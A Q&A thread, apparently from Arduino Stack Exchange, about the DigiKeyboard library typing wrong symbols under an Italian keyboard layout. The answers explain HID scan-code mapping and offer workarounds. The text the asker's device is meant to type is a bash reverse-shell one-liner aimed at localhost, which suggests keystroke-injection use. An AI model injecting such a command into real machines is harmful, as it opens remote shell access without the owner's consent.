2

GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.

PROBLEM : I import the library as I've seen on others projects:

#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" using print method:

DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:

bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?

SOLUTION: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

  • Please tell us which library you use and where you got it from. Tell us the exact output. Add the extra information to your question. Are ascii characters converted to keyboard scan codes? Perhaps that conversion is not complete yet. – Jot Sep 2 '18 at 18:35
  • 1
    What language is used for the keyboard? – Jot Sep 2 '18 at 19:37
  • Italian but now I m trying to change layout – Maicake Sep 2 '18 at 19:42
4

The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it. All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries. It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

  1. Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
  2. Modify the Arduino core to map the characters using an Italian keymap, or
  3. Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3. Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did. So spend some time and work out which characters, when you print them, result in which characters being typed.

| improve this answer | |
0

You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.